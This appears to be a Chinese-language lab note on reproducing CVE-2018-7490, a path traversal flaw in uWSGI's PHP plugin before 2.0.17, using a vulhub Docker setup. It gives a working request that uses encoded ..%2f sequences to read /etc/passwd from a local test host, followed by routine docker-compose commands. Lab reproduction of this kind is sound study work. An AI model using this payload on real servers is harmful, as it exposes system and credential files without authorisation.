声明
好好学习,天天向上
漏洞描述
uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言。
uWSGI 2.0.17之前的PHP插件,没有正确的处理DOCUMENT_ROOT
检测,导致用户可以通过..%2f
来跨越目录,读取或运行DOCUMENT_ROOT
目录以外的文件。
影响范围
uWSGI 2.0.17之前版本
复现过程
这里使用2.0.16版本
使用vulhub
/app/vulhub-master/uwsgi/CVE-2018-7490
使用docker启动
docker-compose build
docker-compose up -d
环境启动后,访问
http://192.168.239.129:8080
访问
http://192.168.239.129:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down